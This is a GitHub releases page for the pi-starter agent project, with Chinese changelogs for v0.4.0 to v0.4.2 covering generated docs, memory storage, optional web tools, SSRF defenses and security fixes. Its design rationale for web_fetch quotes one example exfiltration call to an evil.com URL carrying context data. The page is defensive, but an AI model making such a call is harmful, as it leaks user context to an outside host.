Skip to content

Releases: LPK3215/pi-starter

v0.4.2

Choose a tag to compare

@LPK3215 LPK3215 released this 10 Oct 13:53

Added

  • 面向人的数字有了唯一来源(scripts/visualization/metrics.mjs):文件数 / 行数 / 用例数 / 路由数 / 门禁列表 / 依赖版本 / 覆盖率阈值集中在一处,generate_readme_numbers.mjs 与新的 generate_overview.mjs 都从它取。此前 README 表格、架构图、全景页各算各的,同一件事在三个地方有不同答案。配套 scripts/coverage-thresholds.mjs:阈值原先只能写在 scripts/coverage.mjs 里,而那个文件顶层就 spawn 整个测试套件,谁 import 它谁跑一遍测试——所以阈值搬出来,两处(门禁与页面)读同一份。
  • 全景页纳入漂移门禁(scripts/visualization/generate_overview.mjs + docs:overview / docs:overview:check,已接进 docs:check):docs/project_overview/ 原先整页手写,现在数值、src/ 顶层文件清单、docs/ scripts/ 根目录清单、完整 REST 路由表、npm run verify 门禁列表都由源码生成(标记区内),data-metric 元素的文本同时被回写成同一个值,关掉 JS 与开着 JS 一致。四条断言:结构树与 src/ 子目录双向对齐、每个 docs/*.md 都在文档索引里、每条真实路由必须落进且只落进一个分组、本地引用文件必须存在且外部链接一律 https。负向验证逐条做过:把 /health 改成 /healthz 同时报「路由不存在」与「/health 没归组」(退 2 且不写文件)、把 memory/ 改成 ghost/ 两个方向都红、../architecture.svg 改成不存在的文件立刻红。
  • 单图名片 docs/project_overview/project_card.html:800px 固定宽度的长图版项目概览,自带「Export as PNG」(html2canvas,CDN 走 https,scale: 2 输出 1600×3876),导出时把按钮条摘掉,失败时明确提示改用系统截图而不是静默什么都不做。CSS/JS 全部内联、只用系统字体栈(CDN 字体在导出那一刻可能还没到位,出一张字距错位的图没人看得出来)。徽章、数字卡、许可行是 generate_overview.mjs 的生成区,与全景页同源,因此两份页面不可能报出不同的数;project_card.html 还额外受「必须纯英文 + 引用必须存在」两条断言约束。实测:导出链路在浏览器里跑通(状态 saved pi-starter_card_2026-10-10.png),并对生成的 canvas 做了像素级核对——架构图所在纵向区间内 #22c55e 8398 px、#38bdf8 5185 px、文字色 #e6edf7 6692 px,说明内联 SVG 与文字确实进了图片而不是空白。
  • 两份 README 的文档导航补上全景页这一行(此前 docs/project_overview/ 只在目录树里出现,读者不会知道它是 docs/ 的入口页),并写明它的数值是生成的。目录树那行同时把 Pages 状态说清楚:本仓库当前未启用 GitHub Pages(实测 https://lpk3215.github.io/pi-starter/ 与 /project_overview/ 均 404),docs/index.html 的重定向只是「经典模式从 docs/ 发布」所需的目录结构,不是一条已经能打开的链接。

Fixed

  • docs:overview:check 在远端红、本地绿(generate_overview.mjs,CNB 构建 cnb-t41-1k4iphsec 实测):清单取自 git ls-files,而 git 默认 core.quotePath=true 会把非 ASCII 路径转义成 "docs/\344\275\277...";开发机普遍把它关成 false,CI 容器不继承任何人的 gitconfig——于是中文文件名一进 CI 就与页面里的清单对不上,报的是「漂移」而不是「环境不同」。改为固定 git -c core.quotePath=false ls-files -z(-z 顺带解决带换行的文件名)。复现与验证:在一份全新克隆里把 core.quotePath 设回 true,旧代码立刻漂移、新代码 in sync。同时把漂移信息做成可诊断的——打印变了的 METRICS 键、变了的标记区、以及第一处不同的行;只说「drift」的门禁等于让人手工复现 CI。

  • 「58 个 HTTP 路由处理器」里有 11 个不是路由(generate_readme_numbers.mjs):计数用的是裸 .get( 正则,于是 src/http/log-routes.ts 里 search.get("limit") 这类 URLSearchParams 读取被一并算进去,标榜「可验证的数字」其实不可验证。口径改为只认 app. / router. 上的方法,真数 47,标签同步写成 HTTP route handlers (app. / router. methods);两份 README 的生成表已重算。

  • 全景页整页手写到过期(docs/project_overview/index.html):代码已是 v0.4.1,页面仍挂着 release v0.2.0、308 cases · 37 files(实际 505 · 53)、17 项 WS 冒烟(实际 23);结构树缺 conversation/ 与 memory/ 两个目录;能力清单缺记忆、联网、HITL、会话导入等已上线的能力;API 表里 /interrupt、/compact、/thinking、GET /model、/session、/session/edit、/session/rollback、/mcp/servers、/subagents/run、/approvals/:id 这几条 REST 路由根本不存在(它们是 WS 命令或 SDK 工具)。现在版本、数值、路由、门禁都由生成器写,手写部分只保留说明文字;e2e 断言数(48)与 WS 冒烟断言数(23)改为统计脚本里的 check( 调用点,不再手抄。

  • 发版顺序让每个 tag 都带着过期的派生文档,并让 publish:local 恒红(scripts/release.mjs):脚本的顺序是「跑门禁 → 回写版本号 → 打 tag → 推送」,而版本号是派生文档的输入——docs/architecture.svg 里就印着它。于是回写之后 tag 里的生成物必然旧一格,紧接着 npm run publish:local 再跑一次门禁时就红在 docs:check 上(v0.4.1 现场复现:漂移:docs/architecture.svg,同一个 tag 出不了包)。现在回写之后立刻重算派生文档(docs:svg / docs:numbers / docs:reference / docs:overview,项目定义了才跑)、再跑一次 docs:check 兜底,并把它们一起收进 bump 提交;不一致时不打 tag,并打印「此时版本文件尚未提交,git checkout -- . 回退」。另外补一条:回写后若工作区没有任何改动就直接失败——版本号已经是目标值,静默打个空 tag 更糟。

Changed

  • 全套文档做了一次口径对齐(逐条对着源码与生成物复核,不是润色):
    • docs/能力与边界.md:基线从 v0.3.0 更正到 v0.4.1;「60+ REST 路由」→ 47;npm run e2e 的实测行从 35 通过 / 1 跳过 更正为 43 通过 / 1 跳过 / 0 失败(共 44)(本轮实跑);删掉一条指向不存在文件的说明(「静态全景页 可视化总览.html」,真实路径是 docs/project_overview/,含 project_card.html);docs/ 分工从「三篇活文档 + 其余历史稿」改为按「手写维护 / 生成 / 参考与历史稿」三类列全 10 篇。
    • docs/使用指南.md:npm run verify 的组成原写成「typecheck / lint / 覆盖率 / 换模型门禁」——覆盖率不在 verify 里(它是远端单独一步),「换模型门禁」这个脚本从来不存在,同时漏了 docs:check、verify:audit、build、verify:embed。改为九项真门禁逐条列出,并补 verify:all 与 test:coverage 两行。
    • docs/嵌入指南.md:接口清单漏了随包必挂的 GET /providers、POST /model/cycle、GET /db/notes/:id,也没说清哪些路由是按装配情况挂载的(memory / files / approvals / provider-keys / logs / settings / capabilities)——嵌入方按「一定有」写客户端就会踩空;补全并指向生成的参考手册。WS 扩展点原写「commands / gate / sessionStats / connectionCount / approvalStats 都能在 runtime 里传」,后三个其实是 createApp() 的选项(src/app.ts:71-75),runtime 里真正可选的是 commands / gate / uiBridge / metrics(src/transport/ws.ts:58-76)——已按源码改正,并补上漏写的 logQuery: { dir }(不开就没有 /logs)。另修掉一段抄下去编译不过的示例:同一个块里 const { app } 声明了两次。
    • CONTRIBUTING.md / FAQ.md / docs/能力与边界.md / docs/智能体视角评估.md:四处「两套远端门禁都跑在 node:24(Linux)容器」不成立——ci.yml 是 ubuntu/windows/macos 三 OS 矩阵且本账号跑不起来,真正生效的只有 .cnb.yml。统一改成准确表述,并把本轮新踩到的一侧写进去:本地绿 ≠ 远端绿(docs:overview:check 远端红过一次而本地全绿,成因是 CI 不继承 core.quotePath)。CONTRIBUTING 的项目地图把 HTTP 层写成只有 src/app.ts,漏了 src/http/ 六个路由模块与整条对话内核(conversation/ → session-hub → snapshot/protocol → transport/ws),已补。
    • docs/智能体视角评估.md:正文里以「现状」口吻出现的旧数就地改对——门禁链(376/11/39 → 505/19/44 并补 docs:check)、498 通过 / 0 失败(漏了 7 例平台跳过,读起来像全绿)、覆盖率实测行(92.94/81.20/85.77 + 470 用例 → 本轮实测 92.90/81.51/86.30 + 505 用例)、棘轮阈值(92/79/84 与 88/77/82 → 现在住在 scripts/coverage-thresholds.mjs 的 92/81/85)、「57 个消息类型」(其实是 34 + 21 = 55)、§0 那句「没有任何联网能力、没有跨会话记忆」(与本文 §0.2 的 P7-1 / P7-2 自相矛盾,现标注为最初走查判断并指向更正行)。附录 A / B 保留原值——文首已有「不要再引用本文档的数字,以 README 的 Numbers 表为准」的显式声明,实测记录被改写成今天的数就失去了它的证据价值。
    • docs/assistant-ui.md / docs/前端调研.md:两篇都自称「暂不实现 / 只调研」,而前端早已落地。各加一条状态说明(依赖位置、真正手写的两处 web/src/pi/client.ts 与 usePiRuntime.ts、实际选型是 assistant-ui 而非文中推荐的 pi-web-ui 壳),研究正文保留不动。
  • 全景页 e2e 那张卡的标签写准了:48 是 scripts/e2e-restart.mjs 里的断言数(静态计数),每轮实际执行 44 项(43 通过 + 1 平台跳过),所以标签从「e2e assertions」改为「e2e assertions in scripts/e2e-restart.mjs」,避免被读成「跑了 48 项」。
  • README 可视化与结构树对齐真实项目:两版 README 的 src/ 目录树此前只列 7 个子目录,实际有 19 个——memory/、conversation/、approval/、mcp/、modes/、subagents/ 等全部缺席,读者会以为那些能力不存在;现已补全(含 errors.ts / sdk-adapter.ts / test-tmp.ts 这类运行时底座),两版逐行对应。顶部那条指向 GitHub Actions 的 CI 徽章实测渲染成 CI: failing,而本账号的 Actions 根本跑不起来(远端门禁是 .cnb.yml)——红着的假状态比没有徽章更误导人,换成静态 gates: CNB pipeline 并链到实际跑门禁的仓库;.github/workflows/ci.yml 那行注释补上它其实也跑 docs:check 与覆盖率门禁,并注明它当前不生效。三张 SVG 复核结论:文字节点零中文、数值全部运行时从源码读取、版本号已是 v0.4.1,无需改动;docs/ 未启用 GitHub Pages(实测 404),因此不写任何 Pages 链接。
  • 新增一条门禁断言,防目录树再次腐烂(generate_reference.mjs):两份 README 的 src/ 树必须与文件系统一致,漏列(能力隐身)与多列(指向已不存在的目录)两个方向都判失败。负向验证:从英文树里删掉 memory/ 一行,检查立刻红并点名「漏了 1 个实际存在的目录:memory」;还原后恢复绿。

v0.4.1

Choose a tag to compare

@LPK3215 LPK3215 released this 10 Oct 10:37

Added

  • 开源规范补齐:新增 CODE_OF_CONDUCT.md(Contributor Covenant 2.1,英文单版)与 .github/dependabot.yml。dependabot 刻意不自动升 @earendil-works/* 三件套——它们钉版本是设计(升级必须走 verify:all 的完整门禁 + 人看 diff),并在文件里注明「GitHub Actions 本账号跑不起来,绿勾不等于远端跑过」。.gitattributes 补:*.svg text eol=lf(架构图现在被 docs:svg:check 按字节比对,行尾被规范化会在一个系统上报假漂移)、hooks/pre-commit text eol=lf(CRLF 会打断 shebang)、web/package-lock.json 与 web/dist/** 标 linguist-generated、*.tgz binary。package.json 的 files 增加 README.zh-CN.md / CHANGELOG.md / AUTHORS(原来只发英文 README,中文主版和作者信息不在包里),description 与 keywords 补齐现有能力面(记忆 / MCP / 计划模式 / 子代理 / RAG / 四入口)。
  • 两份 README 的生成物指引改成脚本名:原先手写 node scripts/visualization/generate_architecture.mjs 两行且漏了第三张图,现在统一 npm run docs:svg / docs:numbers / docs:reference / docs:check,并说明「CI 挡的就是 docs:check 过期」。语言切换互链、章节数(29 = 29)与文档导航表两版对齐。
  • FAQ 补 5 条:记忆存在哪、默认开还是关、和知识库的分工;默认不开联网工具是不是缺口(以及开了之后防什么、不防什么);verify:audit 的第三种结论「无法执行」为什么既不红也不绿;Windows 上那几例跳过是不是套件不健康;测试的临时目录现在由谁回收。
  • CONTRIBUTING 补齐真实门禁:npm run verify 的组成此前只写了 7 步、漏了 docs:check 与 verify:audit(这两步是本轮才进 verify 的);命令表补 test:coverage / smoke / e2e / docs:* / probe:providers;新增「平台注记」讲清远端 Linux、本地 Windows 的不对称与三类跳过的成因;测试约定里写死两条:临时目录必须走 tempDir()、平台不适用要 t.skip(原因)(两条都是本轮修过的真实缺陷)。

Security

  • 跨会话记忆落盘不再世界可读(src/memory/store.ts):save() 原先只有 writeFileSync(tmp, …) + renameSync,于是文件按进程 umask 建成 0o644——而记忆默认住在 ~/.pi/agent/,同一个目录里 auth.json 与 provider-keys 都坚持 0600,向量库也坚持(注释里还写着原因)。存的是「关于用户的事实」,最小权限不写出来就是没写出来。现在目录 0700、临时文件与目标文件都 0600(临时文件同样含明文,窗口期更短更隐蔽,与 provider-keys 同一处理),Windows 尽力而为。回归:记忆文件权限收紧到 0600,不留世界可读(POSIX 专属,Windows 显式跳过并打印原因)。SECURITY.md 增补该文件的位置、权限与 /memory 未鉴权这一层。
  • SECURITY.md 的会话表述改为准确:原句「One process holds one agent session, and concurrent /chat calls return 429」在 REST 侧成立、在 WS 侧不成立(每连接多对话,cap 8 + LRU),容易让人以为整个进程只有一个对话。

Changed

  • 三张架构图纳入漂移门禁(docs:svg:check 接进 npm run docs:check):generate_architecture.mjs / generate_request_flow.mjs / generate_retrieval.mjs 原先只有「跑一次就新鲜一次」,没有任何东西保证它被跑过——README 上的架构图实际漂移过一次:图里写着 Contract smoke tests: 49 files · 470 cases,源码已经是 53 files · 504 cases。图里的数字比手写文档更危险,因为它看起来是机器生成的、于是不受怀疑。三个生成器现在都支持 --check(与 README 数字、参考手册同一口径:一致退 0 / 漂移退 1 并指名怎么重生成)。负向验证:往 docs/architecture.svg 末尾追加一个空格,--check 立刻退 1;重生成后回到退 0。同时刷新 docs/architecture.svg 到当前实况(另两张本来就一致)。

v0.4.0

Choose a tag to compare

@LPK3215 LPK3215 released this 10 Oct 10:11

Added

  • 跨会话记忆(默认开,PI_MEMORY=off 关):新增 src/memory/store.ts 与 remember / recall 两个工具,补齐 docs/智能体视角评估.md 里被点名的「最后两块砖」之一——此前每次新对话都从零开始,「记住我」不可能。落盘成 JSONL(默认 ~/.pi/agent/pi-starter-memory.jsonl,原子写:先写同目录临时文件再 rename,与 settings.ts 同一口径),重启后仍在。

    • 有界:单条正文 4KB、标签 16 个 × 48 字符、总量 2000 条(超出淘汰最旧的并如实回报条数)、文件 4MB 封顶。无界记忆等于把上下文窗口交给时间。
    • 写的是「跨会话有用」的信息:同一段正文重复写入是覆盖而不是新增(模型重复「记住」是常态);rules.md 明确写了该记什么、不该记什么。与知识库刻意分开——知识库只读、进系统提示词目录;记忆可写、不进提示词正文、按需 recall。
    • 可注入 / 可关:buildAgent({ memory }) 换实现、buildAgent({ memory: false }) 关闭(两个工具都不注册,能力目录里也不会出现);PI_MEMORY 只有明确 off / false / 0 才算关(与 PI_WEB 的取值风格一致)。GET/POST/DELETE /memory 把同一份 store 暴露成 REST,与工具同源。
    • 落盘损坏行 / 读失败只告警回落,不让一次对话崩掉——与 settings.ts「配置坏了要能改回来」同一原则。
  • 联网能力(可选,默认关):新增 src/tools/web.ts 的 web_fetch / web_search,由 PI_WEB=on(或 buildAgent({ web: true, webClient }))开启。补齐了「rules.md 要求一切外部事实必须工具核实,但默认装配里根本没有联网工具」这个能力缺口。默认关闭的理由与 coding 档一致且更直接:出站网络是数据外泄通道(web_fetch("https://evil.com/?d=<上下文内容>")),而本服务默认无鉴权。

    • 后端可注入:WebClient 接口(fetchPage + 可选 search),换搜索源 / 加缓存 / 加审计只改实现,工具契约与模型侧不变;lib.ts 已导出类型。
    • SSRF 防护:只放行 http/https,拒绝回环 / 私有 / 链路本地 / 组播 / CGNAT / IPv4 映射地址,并检查 DNS 解析结果与重定向后的最终地址(::ffff:127.0.0.1 会被 new URL() 归一化成 ::ffff:7f00:1,十六进制写法同样覆盖)。isPrivateAddress 认不出的输入按私有处理(fail-closed)。
    • 限额:字节上限(默认 256KB,硬顶 2MB)与超时(默认 15s,硬顶 60s)都夹取,模型无法用参数顶掉;超限是边读边停,不把整页拉进内存。
    • 不假装能搜:后端没有 search() 时不注册 web_search(与 rag:smoke 打印 SKIP 同一原则);默认的 DuckDuckGo 无 JS 版解析是 best-effort,抽不到就如实说「没有命中」。
    • 能力标签 net → inferRisk 判 medium;与 exec 同口径不进 allTools,开了才登记进 ToolRegistry。SECURITY.md / .env.example / 两份 README 都已注明「未被缓解的部分」(URL 由模型决定,DNS 解析与建连之间存在 TOCTOU 窗口)。
  • setup.ts 与资源路由的测试(49 个测试文件 / 467 用例,覆盖率 92.53% → 92.66%):

    • setup.test.ts 扩充 6 例(setup.ts 82% → 86.65%):ensureEnvFile 的三条路径(无 .env 时复制并 0600、已有 .env 不覆盖、两者都缺则明确报错)、多 provider 时没找到密钥的只进 authKeyMissing 且不落盘而默认 provider 缺密钥才致命、PI_API_KEY_<PROVIDER> 优先且名字里的 - 换算成 _、auth.json 0600 / agent 目录 0700 的权限。其中复制 .env 那条测试用 withEnvSnapshot 包住(setupPiAgentDir 会 loadEnvFile() 写 process.env,不还原会污染同进程其它用例)。
    • app.test.ts 扩充 5 例(http/routes.ts 88% → 89.3%):/skills 列表不带正文而详情读磁盘正文、SKILL.md 读不出来时响应里不能出现绝对路径、/knowledge 列表/搜索/详情的路由顺序(/knowledge/search 不能被 :name 抢走)、/prompt-templates 的 argumentHint 只在有值时才出现、以及依赖全挂时 liveness 仍 200 而 readiness 变 503 并逐项给原因。
  • 进程执行的工具层测试(src/tools/exec.test.ts,13 例,exec.ts 79% → 100%):src/exec/runner.ts 有测试,但工具层完全没有 —— 也就是「参数怎么翻译成 runner 调用」与「结果怎么呈现给模型」这两段从未被执行过,而它们恰好是模型直接看到的部分。覆盖:只有 coding 档且给了环境才装配(off / readonly / 缺环境一律空)、exec_jobs 的能力必须是手写的 shell.observe(按名字推断会推错)、非零退出与超时必须标成 isError、后台任务立即返回 id 并提示下一步用哪个工具、输出截断必须说出来、非法 timeout_seconds 在调用 runner 之前就被拦下(断言 runs.length === 0)、AbortSignal 原样透传、超长命令在列表里截断而不是撑爆一行。

  • 联网抓取的真实路径测试(web.test.ts 11 → 23 例,web.ts 77% → 92.95%):此前只测了假后端,fetchPage 里的字节上限、重定向、超时、content-type 判定全都没被真实执行过。现在起本地 HTTP 服务跑真实抓取,覆盖:HTML 转纯文本 / JSON 不被拍平、正文恰好等于上限时 truncated=false、超限截断、404 与 image/png 翻成可读 WebError、正常跟随重定向且每一跳都过策略、302 到被禁主机时请求不发出、超过 MAX_REDIRECTS 即停、超时翻成 timeout、注入放行策略后非 http/https 仍被拒、重定向目标是非法 URL 时报错而不是崩在 new URL。

  • WS 分派层的畸形输入测试(integration.test.ts,ws.ts 76% → 83.42%):这一层此前只有跨进程的 npm run smoke 覆盖(那些覆盖率不进 npm test 统计),而它最容易「一个坏输入打死整条连接」。覆盖:prompt 带 data: 前缀 / 非白名单 MIME / 超过 4 张图片、set_label·edit_message·rollback_conversation 缺 entryId、rename_conversation 缺 title、打开或删除不存在的会话、非法思考档位、未知命令名(走「未注册命令」分支并带提示,而不是静默丢弃)、空串与纯空白 type 在协议层被拒 —— 以及一连串畸形输入之后 ping 仍必须得到 pong。

  • 五个「未覆盖即未验证」模块的测试(本轮第二批,49 个测试文件 / 456 用例,覆盖率 90.45% → 92.53%):

    • src/prompt-images.test.ts(6 例,44% → 100%):parsePromptImages 是 prompt / steer / follow_up 三条 WS 命令共用的唯一入口校验,此前只被间接带到 —— 等于「模型收到一张损坏的图」这条路径从未验证过。覆盖 MIME 白名单(image/svg+xml 拒收)、data: 前缀、非法 base64、正则过得了但解码为 0 字节(单字符 "a")与恰好等于上限的边界。
    • src/extensions/audit.test.ts(6 例,56% → 100%):这个扩展的价值全在「记什么、不记什么」上。核心断言是日志里绝不能出现参数值(含 sk- 密钥与 SQL 原文),只记字段名;以及失败的调用走 warn、logArgKeys=false 时连字段名都不记、超出 256 条进行中调用时最早的被淘汰。
    • src/tools/ask-user-question.test.ts(5 例,56% → 100%):HITL 工具出错不是「答得不对」而是「整轮卡死」或「悄悄跳过」。覆盖无 UI 时绝不假装等待且不调用任何 ui 方法、AbortSignal 必须透传(否则桥那头无法取消)、confirm 选「否」与取消一样算未作答。
    • src/tools/resource.test.ts 扩充(7 例,knowledge.ts 71% → 100%、database.ts 73% → 98.7%):search_knowledge 的 limit 夹取 [1, 50](100000 / 0 / 负数 / NaN / 非数字字符串 / 缺省六种输入)、未知文档名要列出可用项、db_query 的非只读 SQL 必须在落到 database.query 之前被拒(断言 called === 0)、查询抛错翻成「查询失败:…」、被截断时必须显式告知真实总行数并给出可执行下一步。
    • src/http/approval-routes.test.ts 扩充(4 例,71% → 100%):GET 的 builtin 标记与 userCount、PUT 整体替换的四条拒绝路径(非数组 / 超 MAX_USER_RULES / 含内置 / 单条非法)且被拒时不落地、达到上限后「新增」被拒但同 id 覆盖仍可用、手改 rules.json 塞 builtin: true 也删不掉。
    • src/tools/current-time.test.ts(4 例,70.59% → 100%):见上一条 Fixed。
  • 文件服务路由层测试(src/http/file-routes.test.ts,9 例):file-routes.ts 此前覆盖率 43.24%(全项目最低之一)而没有任何测试,可它正是把工作目录暴露成 HTTP 的那一层。覆盖:未提供 FileService 时 /files/* 完全不注册、requirePath 的 fail-closed(缺/空白 path = 400,不悄悄退回根目录)、敏感文件在 read / raw / 列表预览 三个出口都被拦且不回显内容、recursive 必须是布尔 true(字符串 "true" 不算数)、Range 语义(206 / bytes=-N 后缀区间 / 416 + Content-Range: bytes */size / 无 Range 超限 413 / download=true / 二进制扩展名给 octet-stream)、上传的字节级往返(历史 bug 是 write + toString("utf8") 损坏非 UTF-8 字节)。
    覆盖率 43.24% → 100%,全项目 89.80% → 90.45%(棘轮阈值随之抬到 lines 90 / branches 79 / functions 83)。
    同时把「上传上限是两层叠加」这件事写进了代码注释与测试:/files/upload 的 5MB 是第二层,默认 JSON body 上限 1mb 会先挡一道(base64 还放大 4/3),所以默认配置下原始字节刚过 1MB 就被 413,那个 5MB 检查不可达;只有把 bodyLimit 提到约 7mb 以上它才生效。

  • 参考手册(从源码生成):新增 docs/参考手册.md + scripts/visualization/generate_reference.mjs,把「能力面」整个算出来:34 条 WS 客户端命令与 21 个服务端帧(按分组 + JSDoc 摘要)、60+ REST 路由处理器、工具清单(装配档位 + 能力标签 + 风险)、全部 58 个环境变量、全部 npm 脚本、模块地图。此前 WS 协议有 57 个消息类型却没有任何参考文档,REST 有 60+ 路由而 README 只列了 4 个,22 个环境变量在两份 README 里一个字都没有。
    生成过程自带一致性断言(不通过即非零退出):解析出的客户端命令集合必须与 protocol.ts 里带编译期守卫的 CLIENT_MESSAGE_TYPES 完全一致(拿编译期保证校验解析器本身);src/tools/* 里的每个工具名必须在生成器的分组表里被登记,新增工具忘了归类会直接让门禁红;代码引用的 PI_* 必须都在 .env.example 登记过。npm run docs:check 已进 verify 与两套 CI。
    刻意没做:给协议命令强制要求 JSDoc。当前说明覆盖率是客户端 4/34、服务端 7/21,手册如实印出覆盖率,但不设成门禁——逼出来的空说明比没有说明更糟。

  • README 的可验证数字改为生成:新增 scripts/visualization/generate_readme_numbers.mjs,把文件数 / 行数 / 用例数 / 路由数从源码算出来写进 <!-- BEGIN:generated-numbers --> 标记块,npm run docs:numbers:check 已进 verify 链与两套 CI。此前同一份 README 里 42 test files · 376 cases 与 # 376 unit + integration tests 对着不同的数字。

Security

  • guard 的敏感文件拦截只查字面名,可被工作区内的符号链接绕过:isDeniedName(basename(targetPath)) 只看字面 basename,而 cwd 内一个 alias.txt -> .env 的链接——字面名不命中名单、路径也确实在 cwd 内——上面两道校验都会放行,读出来的内容就是 .env。文件服务那边(files/service.ts 的 resolvePath)在 0.3.0 就补了「真实目标名也要查」这一层,guard 这个负责拦模型自身 read/write/edit 的旁路此前漏了,等于同一道门只关了一半(而 read 在任何档位都可用)。现补上同样的真实目标名校验(只在目标存在时解析,避免把父目录名误当成目标名),并加回归用例:绝对/相对目标的链接、指向 id_rsa 的链接、sub/../alias.txt 形式全部拦下,指向普通文件的链接不误伤。SECURITY.md 同步说明「两道门都查真实目标名」。
  • Linux / macOS 的 exec 主执行路径不再继承 PI_API_KEY(P1-2 漏网之鱼):src/exec/runner.ts 的 /bin/sh 分支此前直接传 process.env,而 src/child-env.ts 的模块说明声称「凡是 spawn 子进程的地方都从这里取 env」——它恰好是唯一没兑现的地方,也是主平台。现改为 childProcessEnv(),并修正同文件 taskkill 分支里那句「凡 spawn 口径一致」的注释。新增 src/exec/runner.test.ts 用例锁定:子进程读不到 PI_API_KEY / PI_API_KEY_<PROVIDER>,但 PATH 等必须保留(否则 shell 与外部工具跑不起来)。

Fixed

  • npm run setup 复制出来的 .env 是 0644(世界可读),而它正是要填 API Key 的文件:ensureEnvFile 用 copyFileSync(.env.example, .env),而 copyFileSync 会把源文件的权限位一并带过来(实测:源 644 → 副本 644)。本项目对 auth.json(0600)、向量库(0600)、provider-keys(0600)都坚持最小权限,.env 不该例外。现在复制后显式 chmod 0600(Windows 上尽力而为,与 writeJsonFile 同一口径),并加回归用例断言权限位。
  • 联网抓取的重定向会在校验之前就把请求打到下一跳(web_fetch 的 SSRF 面):原实现用 fetch(..., { redirect: "follow" }),等响应回来才检查 response.url —— 也就是 302 到 10.0.0.1 时请求已经发出去了,事后检查只能阻止「把内容读回来」,挡不住「内网端点被触发」(对带副作用的 GET 就是真实影响)。现在改为 redirect: "manual" 自己跟,每一跳都在发请求之前过一遍 host 策略,共用一个超时,并用 MAX_REDIRECTS = 5 封顶。新增回归用例:公网点 302 到被禁主机时,被禁主机收到 0 个请求。
  • readCapped 的差一错误:正文恰好等于上限时误报「已截断」:判断写的是 total + value.length >= maxBytes,于是长度正好等于上限的正文被标成 truncated: true —— 一个字都没丢,工具却对模型说「正文已按上限截断」。改成 >,并加回归用例。
  • urlGuard 可注入:HttpWebClient 新增 urlGuard?: UrlGuard(默认 assertPublicHost),内网部署 / 走自有出口代理时可替换。协议校验(只允许 http/https)刻意不经过它,所以换 host 策略也换不掉这一条 —— 有对应用例锁定。
  • current_time 在模型写 UTC+8 / GMT+8 时直接抛 RangeError:toLocaleString 只认 IANA 时区名,而这两种恰好是模型最可能写出来的写法(实测 RangeError: Invalid time zone specified: UTC+8)。工具此前没有任何测试、execute 从未被执行过,所以一直没暴露。现改为如实说明并给出可用写法(含「东八区应写 Etc/GMT-8,符号是反的」这个最容易踩的点),details.ok=false 以便调用方区分。
  • /files/copy 复制目录必然 500(FileService.copy):代码校验完 recursive 之后仍然无条件调 copyFileSync,而它对目录直接抛 EISDIR —— 于是「传 recursive: true 去复制目录」100% 失败成 500,且即使不抛也只会留下一个空壳。改用 cpSync(..., { recursive: true }),并把复制失败翻译成 AppError 而不是裸抛。
  • 给目录改名会「先改盘、再报错」(FileService.rename):renameSync 成功之后无条件 this.read(toRel),而 read 只读文件,于是目录重命名永远在磁盘已经变了之后返回 400 —— 客户端看到失败、实际已生效,比单纯失败更难查。现按目标类型返回目录描述。
  • Range: bytes=-N 后缀区间永远返回 416(/files/raw):把后缀长度当成了结束下标,start(=size-N) > end(=N) 恒成立。播放器从尾部 seek 全废。现按规范分开处理后缀区间与普通区间(bytes=-0 仍判 416,符合 RFC)。
  • FileService 的 maxPreviewBytes 对 /files/raw 无效:路由读的是模块常量 DEFAULT_MAX_PREVIEW_BYTES 而不是 service 的配置,于是这个配置项只影响 /files/read。现读 service.maxPreviewBytes(字段改为公开只读)。

上面四条都是写 src/http/file-routes.test.ts 时当场发现的 —— 路由层此前没有任何测试,而它正是把工作目录暴露成 HTTP 服务的那一层。

  • generate_readme_numbers.mjs 的前端用例数写死了单个文件:它只数 web/src/pi/client.test.ts,于是加了 logClient.test.ts 之后 README 里仍然报 11(实际 19)。现改为从 package.json 的 test:web 脚本读文件清单。这类「与文件一致地错」的漂移 docs:numbers:check 是抓不到的(它只能发现「文件里写的和算出来的不一致」),所以口径本身必须来自脚本,不能写成常量。
  • 快照周期内不再重复取会话统计(P2-1):getSessionStats() 在 SDK 里是 sessionManager.getEntries() —— 每...
Read more